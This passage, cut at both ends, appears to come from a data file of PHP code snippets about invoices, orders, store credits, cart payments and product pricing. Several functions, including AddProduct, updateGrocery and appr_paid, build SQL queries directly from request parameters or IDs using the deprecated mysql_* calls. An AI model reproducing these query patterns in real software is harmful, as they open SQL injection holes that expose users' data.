= ''; // will be overwritten/set by insertTransactionDocument(): transaction document number (ERP: \"Vorgangsnummer\")\n $docFieldsArr['ADRINR'] = $customerObj->get_gsauid(); // Adress number from Customer\n $docFieldsArr['LIEFERINR'] = 0; // Nothing to deliver\n $docFieldsArr['ENDPRB'] = $amountGross;\n $docFieldsArr['ENDPRN'] = $amountNet;\n $docFieldsArr['PRBRUTTO'] = $customerObj->get_gsa_prbrutto(); //Gross Flag od customer \n\n //$docFieldsArr['BEZSUMME'] = 0.0000; see above\n $docFieldsArr['GUTSUMME'] = 0.0000;\n $docFieldsArr['LTERMIN'] = date('d.m.Y');\n $docFieldsArr['SKONTO1'] = 0.0000;\n $docFieldsArr['SKTAGE1'] = 0.0000;\n $docFieldsArr['SKONTO2'] = 0.0000;\n $docFieldsArr['SKTAGE2'] = 0.0000;\n $docFieldsArr['TAGNETTO'] = $customerObj->get_gsa_tagnetto();\n $docFieldsArr['VERSART'] = $invoiceFieldsArr['VERSART']; // Type of dispatch\n $docFieldsArr['ZAHLART'] = $customerObj->get_paymentMethod();\n $docFieldsArr['GESRAB'] = 0.0000;;\n $docFieldsArr['GESRABTYPE'] = 0;\n $docFieldsArr['RABATTGR'] = 0.0000;\n $docFieldsArr['PREISGR'] = $customerObj->get_priceGroup();\n $docFieldsArr['AUSLAND'] = $customerObj->get_isForeigner();\n $docFieldsArr['EGAUSLAND'] = $customerObj->get_isEUForeigner();\n $docFieldsArr['FLDC02'] = $invoiceFieldsArr['FLDC02']; // Invoice Number when overpament (starts with RE-)or coupon code (CO-) if coupon or partnerlink code (PL-) \n $docFieldsArr['FLDN01'] = $invoiceFieldsArr['FLDN01']; // dispatchcost \n $docFieldsArr['FLDN02'] = $invoiceFieldsArr['FLDN02']; // \n $docFieldsArr['FLDN03'] = $invoiceFieldsArr['FLDN03']; // \n $docFieldsArr['FLDN04'] = $invoiceFieldsArr['FLDN04']; // \n $docFieldsArr['INKOPF'] = '';\n $docFieldsArr['INFUSS'] = '';\n $docFieldsArr['BEMERKUNG'] = $tmpDataArr['comment'];\n //$docFieldsArr['FIBUBELEG'] = ''; //TODO don't know where ist is set in GSAUFTRAG \n $docFieldsArr['EURO'] = 1;\n $docFieldsArr['IVERTNR'] = 0;\n $docFieldsArr['KUNDGR'] = $customerObj->get_gsa_kundgr();\n $docFieldsArr['AUSKASSE'] = 0;\n $docFieldsArr['NAME'] = ($customerObj->get_company() == '' ? $customerObj->get_lastname() : \n $customerObj->get_company()); \n $docFieldsArr['GESGEWICHT'] = 0.0000; # TODO: find out where this comes from and what it is needed for \n $docFieldsArr['P13B'] = 0;\n $docFieldsArr['RMNEU'] = 1;\n $docFieldsArr['UHRZEIT'] = date('Y-m-d H:i:s'); # TODO: ERP GUI writes nonsense here (e.g. '1899-12-30 13:10:27')\n $docFieldsArr['EGIDENTNR'] = $customerObj->get_euVatId(); \n\n\n // not set in GSAUFTRAG would be nice to set it \n $docFieldsArr['LETZTERUSER'] = $note; // data type: varchar(30)\n $docFieldsArr['LETZTERUSERDATE'] = date('Y-m-d H:i:s');\n trace($docFieldsArr,0,'$docFieldsArr');\n if (self::TEST_MODE == false) {\n // write record if not TEST_MODE\n $docRecordId = $gsaShopTransactionAccessorObj->insertTransactionDocument($docFieldsArr, $erfart);\n } \n \n $this->freePosCreditMemoOrCancellation($type,$amountNet, $taxCode, $docRecordId, $customerObj);\n\n if ($type == 'cancellation') {\n //decrease accounting balance \n $customerObj->registerTransactionPayment(-$amountGross, 0); \n // insert in table ZAHLUNg with negative amount\n $paymentUpdateFieldsArr['NUMMER'] = 0; // will be overwritten/set by insertPayment()\n $paymentUpdateFieldsArr['OPNUMMER'] = -1; // will be overwritten/set by insertPayment()\n $paymentUpdateFieldsArr['BETRAG'] = (double)-$amountGross;\n $paymentUpdateFieldsArr['DATUM'] = $date;\n $paymentUpdateFieldsArr['AUFINR'] = $docRecordId;\n $paymentUpdateFieldsArr['BEMERKUNG'] = $note;\n $paymentUpdateFieldsArr['BANK'] = $this->classConfigArr['shopOperatorBankName'];\n $paymentUpdateFieldsArr['EURO'] = '1';\n $paymentUpdateFieldsArr['AUSGUTSCHRIFTEN'] = '0.000';\n if ($this->classConfigArr['shopOperatorFinanceAccount']) {\n $paymentUpdateFieldsArr['FIBUKTO'] = $this->classConfigArr['shopOperatorFinanceAccount'];\n }\n trace($paymentUpdateFieldsArr,0,'$paymentUpdateFieldsArr'); //TODO: whats that\n $gsaAccountingTransactionAccessorObj->insertPayment($paymentUpdateFieldsArr);\n }\n return $docRecordId;\n }", "function calculate()\n {\n $this->first_period = $this->second_period = $this->rebill_times = null;\n foreach ($this->getCalculators() as $calc)\n $calc->calculate($this);\n // now summarize all items to invoice totals\n $priceFields = array(\n 'first_subtotal' => null,\n 'first_discount' => 'first_discount',\n 'first_tax' => 'first_tax',\n 'first_shipping' => 'first_shipping',\n 'first_total' => 'first_total',\n 'second_subtotal' => null,\n 'second_discount' => 'second_discount',\n 'second_tax' => 'second_tax',\n 'second_shipping' => 'second_shipping',\n 'second_total' => 'second_total',\n );\n foreach ($priceFields as $k => $kk)\n $this->$k = 0.0;\n foreach ($this->getItems() as $item) {\n $this->first_subtotal += moneyRound($item->first_price * $item->qty);\n $this->second_subtotal += moneyRound($item->second_price * $item->qty);\n foreach ($priceFields as $k => $kk)\n $this->$k += $kk ? $item->$kk : 0;\n }\n foreach ($priceFields as $k => $kk)\n $this->$k = moneyRound($this->$k);\n /// set periods, it has been checked for compatibility in @see add()\n $mostExpensiveItem = null;\n foreach ($this->getItems() as $item) {\n if (!$mostExpensiveItem || $item->first_price > $mostExpensiveItem->first_price) {\n $mostExpensiveItem = $item;\n }\n $this->currency = $item->currency;\n if (empty($this->first_period) && $item->rebill_times)\n $this->first_period = $item->first_period;\n if (empty($this->second_period))\n $this->second_period = $item->second_period;\n if (empty($this->rebill_times))\n $this->rebill_times = $item->rebill_times;\n $this->rebill_times = max($this->rebill_times, $item->rebill_times);\n }\n\n // First period is empty, invoice has only one time items,\n // set first period from most expensive item.\n if (empty($this->first_period) && $mostExpensiveItem) {\n $this->first_period = $mostExpensiveItem->first_period;\n }\n\n if ($this->currency == Am_Currency::getDefault())\n $this->base_currency_multi = 1.0;\n else {\n $this->base_currency_multi = $this->getDi()->currencyExchangeTable->getRate($this->currency,\n sqlDate(!empty($this->tm_added) ? $this->tm_added : $this->getDi()->sqlDateTime));\n if (!$this->base_currency_multi)\n $this->base_currency_multi = 1;\n }\n $this->getDi()->hook->call(Am_Event::INVOICE_CALCULATE, array('invoice' => $this));\n\n $this->terms = null;\n if ((count($this->getItems()) == 1) &&\n ($item = $this->getItem(0)) &&\n ($item->item_type == 'product') &&\n ($pr = $item->tryLoadProduct()) &&\n ($bp = $pr->getBillingPlan()) &&\n $bp->terms) {\n\n if (((float)$bp->first_price == (float)$this->first_total) &&\n ($bp->first_period == $this->first_period) &&\n ((float)$bp->second_price == (float)$this->second_total) &&\n ($bp->second_period == $this->second_period) &&\n ($bp->rebill_times == $this->rebill_times)\n ) {\n $this->terms = $bp->terms;\n }\n }\n\n $this->terms = $this->getDi()->hook->filter($this->terms,\n Am_Event::INVOICE_TERMS, array('invoice' => $this));\n\n return $this;\n }", "function update($units, $total){}", "public function testUpdateReplenishmentCustomFields()\n {\n }", "function AddProduct() {\n\t$customer_id=$_GET['customer_id'];\n\n\t$invoice_id=$_GET['invoice_id'];\n\n\t$invoice_item_id = $_POST['invoice_item_id'];\n\n\t$service_type = $_POST['service_type'];\n\n\t$service_range = $_POST['service_range'];\n\n\t$price = $_POST['price'];\n\n\t$value = ($_POST['price'] * $_POST['service_range'])-(($_POST['price'] * $_POST['service_range'])*($_POST['vat']/(100+$_POST['vat'])));\n\t$vat_percent = $_POST['vat'];\n\n\t$vat= ($_POST['price'] * $_POST['service_range'])*($_POST['vat']/(100+$_POST['vat']));\n\n\t$vat_value =(($_POST['price'] * $_POST['service_range'])-(($_POST['price'] * $_POST['service_range'])*($_POST['vat']/(100+$_POST['vat']))))+\n\t(($_POST['price'] * $_POST['service_range'])*($_POST['vat']/(100+$_POST['vat'])));\n\tif ($_POST['rebate']>0) {\n\t\t$rabat = (($_POST['price'] * $_POST['service_range']/100)*$_POST['rebate']);\n\t}else{\n\t\t$rebate = $_POST['rebate'];}\n\n\t\tif ($_POST['rebate']>0) {\n\t\t\t$total_value = ((($_POST['price'] * $_POST['service_range'])-(($_POST['price'] * $_POST['service_range'])*($_POST['vat']\n\t\t\t\t/(100+$_POST['vat']))))+(($_POST['price'] * $_POST['service_range'])*($_POST['vat']/(100+$_POST['vat']))))\n\t\t\t-(($_POST['price']*$_POST['service_range'])/100*$_POST['rebate']);\n\t\t}else{\n\t\t\t$total_value = (($_POST['price'] * $_POST['service_range'])-(($_POST['price'] * $_POST['service_range'])\n\t\t\t\t*($_POST['vat']/(100+$_POST['vat'])))+(($_POST['price'] * $_POST['service_range'])*($_POST['vat']/(100+$_POST['vat']))));}\n\n\t\t\t$query = \"INSERT INTO invoice_item (invoice_item_id,invoice_id,customer_id, service_range, service_type, price, value,\n\t\t\t vat ,vat_percent,vat_value,rebate,total_value)\n\t\t\tVALUES (NULL,'$invoice_id','$customer_id','$service_range','$service_type','$price','$value',\n\t\t\t\t'$vat','$vat_percent','$vat_value','$rebate','$total_value')\";\n\t\t\t$result = mysql_query($query);\n\n\t\t\tif(!$result) \n\t\t\t{\n\t\t\t\tdie(mysql_error());\n\t\t\t}\n\n\t\t}", "public function appr_paid($paid_id) {\n\n\t\t$sql = $this->query(\"SELECT * FROM `app_order` WHERE `id` = '$paid_id'\");\n\n\twhile($fetch = mysql_fetch_array($sql)) {\n\n\n\t\t\t\t$pro_id \t\t\t= $fetch['pro_id'];\n\t\t\t \t$pro_count \t\t\t= $fetch['count'];\n\t\t\t\t$pro_name \t\t\t= $fetch['name'];\n\t\t\t\t$pro_email \t\t\t= $fetch['email'];\n\t\t\t\t$pro_address \t\t= $fetch['address'];\n\t\t\t\t$pro_mobile \t\t= $fetch['mobile'];\n\t\t\t\t$pro_total \t\t\t= $fetch['total'];\n}\n\t\t\t$transfer_data_part_2_array = array($pro_id,$pro_count,$pro_name,$pro_email,$pro_address,$pro_mobile,$pro_total);\n\t\t\t\n\t\t\t\n\t\t\t$this->transfer_data_part_2($transfer_data_part_2_array);\n\n\t\t\t//After Sending them in a function via array........... The next programme delete the Item by using `id`\n\n\t\t\t$this->query(\"DELETE FROM `my_cart`.`app_order` WHERE `app_order`.`id` = '$paid_id'\");\n\n// Add into Main Balance............STARTS\n\t\t\t$balance_sql = $this->query(\"SELECT `total` FROM `balance`\");\n\t\t\t\n\t\t\t$balance_sql_fetch = mysql_fetch_array($balance_sql);\n\t\t\t$main_balance = $balance_sql_fetch['total'];\n\t\t\t$add_total = $main_balance + (int)$pro_total;\n\n\t\t\t$this->query(\"UPDATE `my_cart`.`balance` SET `total` = '$add_total' WHERE `id` = '1'\");\n\n// Add into Main Balance............ENDS\n\n//Add into sub balance (This balance is for Search term (it'll help Admin to Find out the Sold Date...)) ............. STARTS\n\n\n\n//Add into sub balance (This balance is for Search term (it'll help Admin to Find out the Sold Date...)) ............. ENDS\n\t}", "private function restoreFieldsForCount()\n {\n $this->orders = $this->orders_backup;\n $this->orders_backup = null;\n }", "function setOrderPaid($object) { \n /* you can itentify the item with $object->Item->ShopId */ \n}", "public function addField($fieldName,$fieldValue,$fieldParams=array()){\r\n if($fieldName=='CodSegRegDetalhe_G039' and $fieldValue==\"P\"){ \r\n $this->QtdeTitulos++; \r\n } else if($fieldName==\"QtdeTitCobranca1_C070\"){ //Informa o numero de titulos para o campo QtdeTitCobranca_C070\r\n $fieldValue = $this->QtdeTitulos;\r\n }\r\n //Se o campo informado for o valor do titulo soma com o valor anterior para totalizar\r\n if($fieldName=='VlrNominalTit_G070'){ \r\n //echo \"<h3>\".$fieldValue.\"</h3>\";\r\n $this->vlrTotTitulos = $fieldValue + $this->vlrTotTitulos;\r\n } else if($fieldName==\"ValorTotTitCart1_C071\"){ //Informa a soma dos titulos para o campo ValorTotTitCart1_C071\r\n $fieldValue = $this->vlrTotTitulos;\r\n } \r\n //Soma quantidade de registros do arquivo conforme o tipo 0,1,3,5,9 \r\n if($fieldName=='QtdeRegistArquivo_G056'){ \r\n $fieldValue = $this->QtdeRegsArquivo_G056;\r\n }\r\n //Numero sequencial de registros do lote (Ex: 1P, 2Q, 3P, 4Q)\r\n if($fieldName=='NumSeqRegLote_G038'){\r\n $fieldValue = $this->NumSeqRegLote_G038++;\r\n } \r\n //Soma quantidade de lotes do arquivo conforma o tipo 1,3,4,5\r\n if($fieldName=='TipoRegistro_G003' and $fieldValue>=1 and $fieldValue<=5){\r\n $this->QtdeRegistLote_G057++;\r\n } else if($fieldName=='QtdeRegistLote_G057'){\r\n $fieldValue=$this->QtdeRegistLote_G057;\r\n }\r\n //Verifica se o campo informado existe no dataset\r\n if(array_key_exists($fieldName, $this->dataSet)){\r\n $this->castType = new castType($this->dataSet[$fieldName]);\r\n \r\n //var_dump($this->dataSet[$fieldName]); exit;\r\n //var_dump($this->castType->value($fieldValue)); exit;\r\n \r\n if($this->castType->value($fieldValue)['status']){\r\n $this->lineArray[$fieldName]=$this->castType->value($fieldValue)['retorno'];\r\n $this->lineString .= $this->castType->value($fieldValue)['retorno'];\r\n //$this->lineString .= \"-\".$this->castType->value($fieldValue)['retorno']; \r\n }\r\n }else{//se nao existe o campo no dataset verifica qual o nome mais próximo para o campo \r\n $words = array_keys($this->dataSet);\r\n $msg = \"Campo \".$fieldName.\" inexistente, o mais proximo seria o campo \".$this->wordMatch($words, $fieldName, 2);\r\n $this->Exception($msg);\r\n $this->logMsg($msg);\r\n return $msg;\r\n }\r\n }", "public function updateProductMeta($post_id, $SCitem)\n\t{\n\t\twp_set_object_terms( $post_id, 'simple', 'product_type' );\n\t\tupdate_post_meta( $post_id, '_visibility', 'visible' );\n\t\tupdate_post_meta( $post_id, '_stock_status', 'instock');\n\t\tupdate_post_meta( $post_id, 'total_sales', '0' );\n\t\tupdate_post_meta( $post_id, '_downloadable', 'no' );\n\t\tupdate_post_meta( $post_id, '_virtual', 'no' );\n\t\tupdate_post_meta( $post_id, '_regular_price', sprintf('%.2f', $SCitem->retail / 100) );\n\t\tupdate_post_meta( $post_id, '_sale_price', '' );\n\t\tupdate_post_meta( $post_id, '_purchase_note', '' );\n\t\tupdate_post_meta( $post_id, '_featured', 'no' );\n\t\tupdate_post_meta( $post_id, '_weight', $SCitem->weight );\n\t\tupdate_post_meta( $post_id, '_length', $SCitem->depth );\n\t\tupdate_post_meta( $post_id, '_width', $SCitem->width );\n\t\tupdate_post_meta( $post_id, '_height', $SCitem->height );\n\t\tupdate_post_meta( $post_id, '_sku', $SCitem->sku );\n\t\tupdate_post_meta( $post_id, '_product_attributes', array() );\n\t\tupdate_post_meta( $post_id, '_sale_price_dates_from', '' );\n\t\tupdate_post_meta( $post_id, '_sale_price_dates_to', '' );\n\t\tupdate_post_meta( $post_id, '_price', sprintf('%.2f', $SCitem->currentPrice/ 100) );\n\t\tupdate_post_meta( $post_id, '_sold_individually', '' );\n\t\tupdate_post_meta( $post_id, '_manage_stock', 'yes' );\n\t\twc_update_product_stock($post_id, $SCitem->quantity, 'set');\n\t\tupdate_post_meta( $post_id, '_backorders', 'no' );\n\t\tupdate_post_meta( $post_id, '_stock', $SCitem->quantity );\n\t}", "public function getCustomOptionsOfProduct(Varien_Event_Observer $observer)\n{\n $invoice = $observer->getEvent()->getInvoice();\n$invoidData = $invoice->getData();\n//Mage::log($invoidData);\n$orderId = $invoidData['order_id'];\n$cid = $invoidData['customer_id'];\n$order1 = Mage::getModel('sales/order')->load($orderId);\n $Incrementid = $order1->getIncrementId();\n//Mage::log( $Incrementid.\"Order Id\"); \n\n// Assign Field To Inset Into CreditInfo Table\n\n$currentTimestamp = Mage::getModel('core/date')->timestamp(time()); \n$nowdate = date('Y-m-d H:m:s', $currentTimestamp); // Current TimeStamp\n\n$arr['c_id'] = $cid;//Customer Id\n$arr['store_view'] = Mage::app()->getStore()->getName(); //Storeview\n$arr['state'] = 1; //State Of Transaction\n$arr['order_id'] = $Incrementid; //OrderId\n$arr['action'] = \"Crdits\"; //Action\n$arr['customer_notification_status'] = 'Notified'; //Email Sending Status\n$arr['action_date'] = $nowdate; //Current TimeStamp\n$arr['website1'] = \"Main Website\"; //Website\n\nforeach ($invoice->getAllItems() as $item) {\n\n//Mage::log($item->getQty().\"Item Quntity\");\n\n$orderItem = Mage::getResourceModel('sales/order_item_collection'); \n $orderItem->addIdFilter($item->getOrderItemId()); \n$data = $orderItem->getData();\n$arr['action_credits'] = $data[0]['credits'] * $item->getQty();\n\n$collection = Mage::getModel('kartparadigm_storecredit/creditinfo')->getCollection()->addFieldToFilter('c_id',$cid)->addFieldToFilter('website1','Main Website')->getLastItem();\n\n$totalcredits = $collection->getTotalCredits();\n$arr['total_credits'] = $arr['action_credits'] + $totalcredits;\n$arr['custom_msg'] = \"By User:For Purchage The Product \" .$item->getName().\" For Quantity \" . round($item->getQty()) ; //Custom Message\n$arr['item_id'] = $item->getOrderItemId();\n$table1 = Mage::getModel('kartparadigm_storecredit/creditinfo');\n$table1->setData($arr);\ntry{\n if($arr['action_credits'] > 0)\n $table1->save();\n\n}catch(Exception $e){\n Mage::log($e);\n }\n\n}//end Foreach\n\n\n\n}", "function updateInvoiceTotal($apIdTmp) {\n\t$db1 = new DB;\n\n\tif (is_array($apIdTmp)) {\n\t\tforeach ($apIdTmp as $xapId) {\n\t\t\t$apIdx = $xapId;\n\t\t}\n\t}\n\t//echo \"ApId: $apIdx\";\n\t$apIdTmp = $apIdx;\n\tif ($apIdTmp) {\n\t\t$apInvoiceTotalx = $db1->getval(\"SELECT apInvoiceTotal FROM appointments WHERE apId='$apIdTmp'\",\"apInvoiceTotal\");\n\t}\n\tif ($apInvoiceTotalx) {\n\t\t$apInvoiceDatex = $db1->getval(\"SELECT apInvoiceDate FROM appointments WHERE apId='$apIdTmp'\",\"apInvoiceDate\");\n\t\t$partsTotalx = $db1->getval(\"SELECT SUM(ptQty*ptPriceEach) as partsTotal FROM parts WHERE ptApId = '$apIdTmp' GROUP BY ptApId\", \"partsTotal\");\n\t\t$labourTotalx = $db1->getval(\"SELECT SUM(lbQty*lbPriceEach) as labourTotal FROM labour WHERE lbApId = '$apIdTmp' GROUP BY lbApId\", \"labourTotal\");\n\t\t$newInvTotal = $partsTotalx + $labourTotalx;\n\t\t//$db->query(\"INSERT INTO reissuedinvoice SET riApId ='$issueInvoice', riOriginalTotal='$apInvoiceTotalx', riOriginalDate='$apInvoiceDatex', riCnId='$xcnId', riRequestDate=CURRENT_DATE, riNewTotal='$newInvTotal'\");\n\t\t//$db->query(\"UPDATE appointments SET apInvoiceRequired='1', apInvoiceDate='0000-00-00' WHERE apId='$issueInvoice'\");\n\t\t$db1->query(\"UPDATE appointments SET apInvoiceTotal='$newInvTotal' WHERE apId='$apIdTmp'\");\n\t\t//$url = \"invoices.php\";\n\t}\n}", "function _updateAfterPurchase($data, $type = null)\r\n\t{\r\n\t\t$this->_updateUserAfterPurchase($data, $type);\r\n\t\t// Updating Purchase [ITEM] Related 'AfterSave' Fields //\r\n\t\t$this->_updateItemAfterPurchase($data, $type);\r\n\t\t// Updating Purchase [ITEM] Related 'AfterSave' Counts //\r\n\t\t$this->ItemUser->_updateItemAfterPurchaseCount($data, $type);\r\n\t\t// Updating Purchase [MERCHANT] Related 'AfterSave' Counts //\r\n\t\t$this->_updateMerchantAfterPurchase($data, $type);\r\n\t}", "function ReviseQuantityAllowedDefinitionType()\n\t{\n\t\t$this->EbatNs_ComplexType('ReviseQuantityAllowedDefinitionType', 'urn:ebay:apis:eBLBaseComponents');\n\n\t}", "function fill_in_additional_detail_fields()\r\n\t{\r\n\t\t$query = \"\r\n\t\t\tSELECT \r\n\t\t\t\tcon_type.name as contract_type_name,\r\n\t\t\t\temployee.first_name AS employee_first_name, employee.last_name AS employee_last_name,\r\n\t\t\t\tcustomer.first_name AS customer_first_name, customer.last_name AS customer_last_name, customer.salutation AS customer_salutation,\r\n\t\t\t\tcustomer.assigned_user_id as customer_contact_name_owner,\r\n\t\t\t\tcustomer.phone_work as customer_contact_phone,\r\n\t\t\t\tmcon.contract_no as main_contract_name,\r\n\t\t\t\tmcon.created_by as main_contract_name_owner,\r\n\t\t\t\tacct.id as account_id,\r\n\t\t\t\tacct.name as account_name\r\n\r\n\t\t\tFROM\t`\".$this->table_name.\"`\r\n\r\n\t\t\tLEFT JOIN $this->types_table_name con_type ON (con_type.id = contract_type_id)\r\n\t\t\tLEFT JOIN users employee ON (employee.id = employee_contact_id)\r\n\t\t\tLEFT JOIN contacts customer ON (customer.id = customer_contact_id)\r\n\t\t\tLEFT JOIN service_maincontracts mcon ON (mcon.id = main_contract_id)\r\n\t\t\tLEFT JOIN accounts acct ON (acct.id = mcon.account_id)\r\n\t\t\tWHERE `\".$this->table_name.\"`.id = '\".$this->id.\"'\r\n\t\t\";\r\n\r\n\t\t$result = $this->db->query($query, true, \"Database error in SubContracts::fill_in_additional_detail_fields()\");\r\n\r\n\t\t\t\r\n\t\tif(($row = $this->db->fetchByAssoc($result)) !== false) {\r\n\t\t\t$this->customer_contact_name = $GLOBALS['locale']->getLocaleFormattedName($row['customer_first_name'], $row['customer_last_name'], $row['customer_salutation']);\r\n\t\t\t$this->employee_contact_name = $GLOBALS['locale']->getLocaleFormattedName($row['employee_first_name'], $row['employee_last_name'], '');\r\n\t\t\tforeach($row as $f => $v)\r\n\t\t\t\t$this->$f = $v;\r\n\t\t}\r\n\t\t\r\n\t\t$this->fill_in_totals();\r\n\t\t\r\n\t\t$this->created_by_name = get_assigned_user_name($this->created_by);\r\n\t\t$this->modified_user_name = get_assigned_user_name($this->modified_user_id);\r\n\t\t$this->employee_contact_user_name = get_assigned_user_name($this->employee_contact_id);\r\n\r\n\t}", "public function test_it_resolves_correct_free_item_qtys()\n {\n $adType = AdType::inRandomOrder()->first();\n\n //3 for the price of 2\n $rule = new XForThePriceOfYRule;\n $rule->setThresholdQty(3);\n $rule->setCalculatedQty(2);\n $rule->setAdType($adType);\n\n //3 eligible items in checkout, should return 1\n $checkoutItems = $this->generateCheckoutItems($adType, 3, $qtyOfDiffTypes = rand(6, 10));\n $this->assertEquals(1, $rule->totalBonusQty($checkoutItems->all()));\n\n //4 eligible items in checkout, should return 1\n $checkoutItems = $this->generateCheckoutItems($adType, 4, $qtyOfDiffTypes = rand(6, 10));\n $this->assertEquals(1, $rule->totalBonusQty($checkoutItems->all()));\n\n //5 eligible items in checkout, should return 1\n $checkoutItems = $this->generateCheckoutItems($adType, 5, $qtyOfDiffTypes = rand(6, 10));\n $this->assertEquals(1, $rule->totalBonusQty($checkoutItems->all()));\n\n //6 eligible items in checkout, should return 2\n $checkoutItems = $this->generateCheckoutItems($adType, 6, $qtyOfDiffTypes = rand(6, 10));\n $this->assertEquals(2, $rule->totalBonusQty($checkoutItems->all()));\n\n //5 for the price of 4\n $rule = new XForThePriceOfYRule;\n $rule->setThresholdQty(5);\n $rule->setCalculatedQty(4);\n $rule->setAdType($adType);\n\n //3 eligible items in checkout, should return 0\n $checkoutItems = $this->generateCheckoutItems($adType, 3, $qtyOfDiffTypes = rand(6, 10));\n $this->assertEquals(0, $rule->totalBonusQty($checkoutItems->all()));\n\n //5 eligible items in checkout, should return 1\n $checkoutItems = $this->generateCheckoutItems($adType, 5, $qtyOfDiffTypes = rand(6, 10));\n $this->assertEquals(1, $rule->totalBonusQty($checkoutItems->all()));\n\n //6 eligible items in checkout, should return 1\n $checkoutItems = $this->generateCheckoutItems($adType, 6, $qtyOfDiffTypes = rand(6, 10));\n $this->assertEquals(1, $rule->totalBonusQty($checkoutItems->all()));\n\n //10 eligible items in checkout, should return 2\n $checkoutItems = $this->generateCheckoutItems($adType, 10, $qtyOfDiffTypes = rand(6, 10));\n $this->assertEquals(2, $rule->totalBonusQty($checkoutItems->all()));\n }", "function updateGrocery($userid, $old, $ingredient, $qty, $units){\n\t\t if((userid != NULL) && ($old != NULL) && ($ingredient != NULL) && ($qty != NULL)&& ($units != NULL))\n\t\t { \n\t\t if($qty <= 0)\n\t\t return;\n\t\t $count = @mysql_query(\"SELECT COUNT(*) as count FROM GroceryList WHERE (UserID = '$userid' \n\t\t AND IngredientName = '$old')\");\n\t\t $countdata = mysql_fetch_assoc($count);\n\t\t if($countdata['count'] <= 0)\n\t\t print \"Item doesn't exist\";\n\t\t else\n\t\t @mysql_query(\"UPDATE GroceryList SET IngredientName = '$ingredient',\n \t\t\t Quantity ='$qty', Units = '$units'\n\t\t\t\t\t\t\t WHERE (UserID = '$userid' AND IngredientName = '$old')\");\n\t }\n\t}", "public function itemsTable($result,$lang,$type) {\n\n\t// include text translations\n\tinclude('fixed.php');\n\tinclude('data.php'); // Load Testing Data\n\n\t$headertext = Array(\n\t\t'No.',\n\t\t$formatting[$lang][$type.'_item'],\n\t\t$formatting[$lang]['qty'],\n\t\t$formatting[$lang]['unit'],\n\t\t$formatting[$lang]['price'],\n\t\t$formatting[$lang]['amount'],\n\t\t$formatting[$lang]['note']\n\t);\n\t\n \t// Next Page w/ Header\n\t$this->nextPage($tableWidth,$lang,$this->getStringHeight(40,$formatting[$lang]['note']));\n\n\n\t$this->TableHeader($headertext, $tableAlign['header'], $tableWidth, 12);\n\n\t$ii = 1;\n\n\twhile($row = $result->fetch_assoc()) {\n\n\t// Dynamic Cell Height\n\t// Move this to function?\n\t$row_height = $this->getStringHeight(40,$row[\"note\"]);\n\tif ($this->getStringHeight(85,$row[\"item\"]) > $row_height) {\n\t\t$row_height = $this->getStringHeight(85,$row[\"item\"]);\n\t}\n\t\n\n\t// Next Page w/ Header\n\t$this->nextPage($tableWidth,$lang,$row_height,$headertext,$tableAlign['header']);\n\n\t$itemtext = Array(\n\t\tstr_pad($ii,2,'0',STR_PAD_LEFT),\n\t\t$row[\"item\"],\n\t\tstr_pad($row[\"qty\"],3,'0',STR_PAD_LEFT),\n\t\t$row[\"unit\"],\n\t\tmoney_format('%.0n', $row[\"price\"]),\n\t\tmoney_format('%.0n', $row[\"price\"]*$row[\"qty\"]),\n\t\t$row[\"note\"]\t\n\t);\n\n$this->TableItem($itemtext, $tableAlign['content'], $tableWidth, $row_height, 12, $ii);\n\n$ii++; \n\n$runningTotal += $row[\"price\"]*$row[\"qty\"];\n\n}\n\n// ** TAX **\n\n//$tax = ROUND(($runningTotal*0.08)-0.5,0,PHP_ROUND_HALF_DOWN);\n\n$tax = $this->japanTax($runningTotal);\n\n$itemtext = Array(\n\tstr_pad($ii,2,'0',STR_PAD_LEFT),\n\t\"Consumption Tax\",\n\tstr_pad(1,3,'0',STR_PAD_LEFT),\n\t\"8%\",\n\tmoney_format('%.0n', $runningTotal),\n\tmoney_format('%.0n', $tax),\n\t//\"$runningTotal * 0.08\"\n\t\"\"\t\n);\n\n $row_height = $this->getStringHeight(40,$tax);\n $this->nextPage($tableWidth,$lang,$row_height,$headertext,$tableAlign['header']);\n $this->TableItem($itemtext, $tableAlign['content'], $tableWidth, $row_height, 12, $ii);\n\n// ** TAX **\n\n\n// ***************************************************************************** \n\n// Next Page w/o Header\n$this->nextPage($tableWidth,$lang,12);\n\n\n$this->totalsBlock($runningTotal,$lang,$type);\n//$this->ln(2);\n\n}", "function AddPurchaseReplacementRmaOrder($arryDetails)\r\n\t\t\t{ \r\n\t\t\t\tglobal $Config;\r\n\t\t\t\textract($arryDetails);\r\n\t\r\n\t\t\t\tif(empty($Currency)) $Currency = $Config['Currency'];\r\n\t\t\t\tif(empty($ClosedDate)) $ClosedDate = $Config['TodayDate'];\r\n\t\r\n\t if($OrderType == 'Dropship'){ $CustCode=$CustCode;} else{ $CustCode = ''; }\r\n\t \r\n\t\t\t\t$strSQLQuery = \"insert into p_order(Module, OrderType, OrderDate, PurchaseID, QuoteID, InvoiceID, CreditID, wCode, Approved, Status, DropShip, DeliveryDate, ClosedDate, Comment, SuppCode, SuppCompany, SuppContact, Address, City, State, Country, ZipCode, Currency, SuppCurrency, Mobile, Landline, Fax, Email, wName, wContact, wAddress, wCity, wState, wCountry, wZipCode, wMobile, wLandline, wEmail, TotalAmount, Freight, CreatedBy, AdminID, AdminType, PostedDate, UpdatedDate, ReceivedDate, InvoicePaid, InvoiceComment, PaymentMethod, ShippingMethod, PaymentTerm, AssignedEmpID, AssignedEmp, Taxable, SaleID, taxAmnt , tax_auths, TaxRate,CustCode) values('Order', '\".$OrderType.\"', '\".$OrderDate.\"', '\".$PurchaseID.\"', '\".$QuoteID.\"', '\".$InvoiceID.\"', '\".$CreditID.\"', '\".$wCode.\"', '\".$Approved.\"','\".$Status.\"', '\".$DropShip.\"', '\".$DeliveryDate.\"', '\".$ClosedDate.\"', '\".addslashes(strip_tags($Comment)).\"', '\".addslashes($SuppCode).\"', '\".addslashes($SuppCompany).\"', '\".addslashes($SuppContact).\"', '\".addslashes($Address).\"' , '\".addslashes($City).\"', '\".addslashes($State).\"', '\".addslashes($Country).\"', '\".addslashes($ZipCode).\"', '\".$Currency.\"', '\".addslashes($SuppCurrency).\"', '\".addslashes($Mobile).\"', '\".addslashes($Landline).\"', '\".addslashes($Fax).\"', '\".addslashes($Email).\"' , '\".addslashes($wName).\"', '\".addslashes($wContact).\"', '\".addslashes($wAddress).\"' , '\".addslashes($wCity).\"', '\".addslashes($wState).\"', '\".addslashes($wCountry).\"', '\".addslashes($wZipCode).\"', '\".addslashes($wMobile).\"', '\".addslashes($wLandline).\"', '\".addslashes($wEmail).\"', '\".addslashes($TotalAmount).\"', '\".addslashes($Freight).\"', '\".addslashes($_SESSION['UserName']).\"', 